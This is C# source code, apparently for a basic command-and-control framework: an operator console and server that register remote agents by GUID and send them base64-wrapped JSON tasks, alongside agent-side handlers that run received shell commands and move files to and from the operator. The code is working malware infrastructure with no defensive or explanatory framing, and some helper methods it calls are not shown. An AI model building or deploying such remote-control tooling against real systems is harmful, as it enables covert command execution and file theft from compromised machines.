private void ProcessReply(CommsPackage reply, Guid agent)
{
Console.WriteLine("[+] Got some data from agent: " + agent.ToString());
Console.WriteLine("[+] Data type: " + reply.Command);
switch (reply.Command)
{
case "exec":
Console.WriteLine(Encoding.UTF8.GetString(reply.Data));
break;
case "download":
FileInfo fi = JsonConvert.DeserializeObject <FileInfo>(Encoding.UTF8.GetString(reply.Data));
try
{
File.WriteAllBytes(Path.GetFileName(fi.Path), fi.Data);
}
catch
{
Console.WriteLine("An error occurred in file write handling");
}
break;
default:
break;
}
}
private void HandleTasking(CommsPackage tasking)
{
Console.WriteLine("Tasking recieved: " + tasking.Command);
switch (tasking.Command) //why not use an enum?
{
case "exec":
Exec(tasking.Data);
break;
case "download":
Download(tasking.Data);
break;
case "upload":
Upload(tasking.Data);
break;
case "sysinfo":
//SysInfo(); //ToDo
break;
case "tasklist":
//TaskList(); //ToDo
break;
case "netlist":
//NetList(); //ToDo
break;
default:
break;
}
}
private static CommsPackage ExecDownload(string[] fields)
{
CommsPackage cp = new CommsPackage();
cp.Command = "download";
FileInfo fi = new FileInfo();
fi.Path = fields[2];
cp.Data = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(fi));
return(cp);
}
private static CommsPackage ExecComms(string[] fields)
{
string command = "";
for (int i = 2; i < fields.Length; i++)
{
command += fields[i] + " ";
}
CommsPackage cp = new CommsPackage();
cp.Command = "exec";
cp.Data = Encoding.UTF8.GetBytes(command);
return(cp);
}
public void WaitForTasking()
{
StreamReader reader = new StreamReader(client.GetStream());
while (true)
{
string inbound = reader.ReadLine();
string json = Encoding.UTF8.GetString(Convert.FromBase64String(inbound));
CommsPackage tasking = JsonConvert.DeserializeObject <CommsPackage>(json);
HandleTasking(tasking);
}
}
private void PackAndSend(string type, byte[] payload)
{
CommsPackage package = new CommsPackage();
package.Command = type;
package.Data = payload;
string json = JsonConvert.SerializeObject(package);
string final = Convert.ToBase64String(Encoding.UTF8.GetBytes(json));
StreamWriter writer = new StreamWriter(client.GetStream());
writer.WriteLine(final);
writer.Flush();
}
private void AddClient(TcpClient clientConnection)
{
StreamReader reader = new StreamReader(clientConnection.GetStream());
string encodedHandshake = reader.ReadLine();
Guid id = new Guid(Convert.FromBase64String(encodedHandshake));
clientConnections.Add(id, clientConnection);
Console.WriteLine("New client connected with GUID of " + id.ToString());
Console.WriteLine("Started listening for data from new client... ");
while (true)
{
string line = reader.ReadLine();
string json = Encoding.UTF8.GetString(Convert.FromBase64String(line));
CommsPackage cp = JsonConvert.DeserializeObject <CommsPackage>(json);
ProcessReply(cp, id);
}
}
static void Main(string[] args)
{
C2Server c2 = new C2Server();
c2.Listen();
while (true)
{
Console.Write(">");
string line = Console.ReadLine();
if (line == "")
{
continue;
}
string[] fields = line.Split(' ');
try
{
Guid agent = new Guid(fields[0]);
CommsPackage cp;
switch (fields[1])
{
case "exec":
cp = ExecComms(fields);
break;
case "download":
cp = ExecDownload(fields);
break;
case "upload":
cp = ExecUpload(fields);
break;
default:
cp = new CommsPackage();
break;
}
c2.SendCommand(agent, cp);
}
catch
{
Console.WriteLine("Syntax error.");
}
}
}
public void SendCommand(Guid agent, CommsPackage cp)
{
Console.WriteLine("Marshalling command");
TcpClient client;
if (!clientConnections.TryGetValue(agent, out client))
{
Console.WriteLine("Agent with guid " + agent.ToString() + " not connected!");
return;
}
string payload = JsonConvert.SerializeObject(cp);
payload = Convert.ToBase64String(Encoding.UTF8.GetBytes(payload));
StreamWriter stream = new StreamWriter(client.GetStream());
stream.WriteLine(payload);
stream.Flush();
Console.WriteLine("Payload sent");
}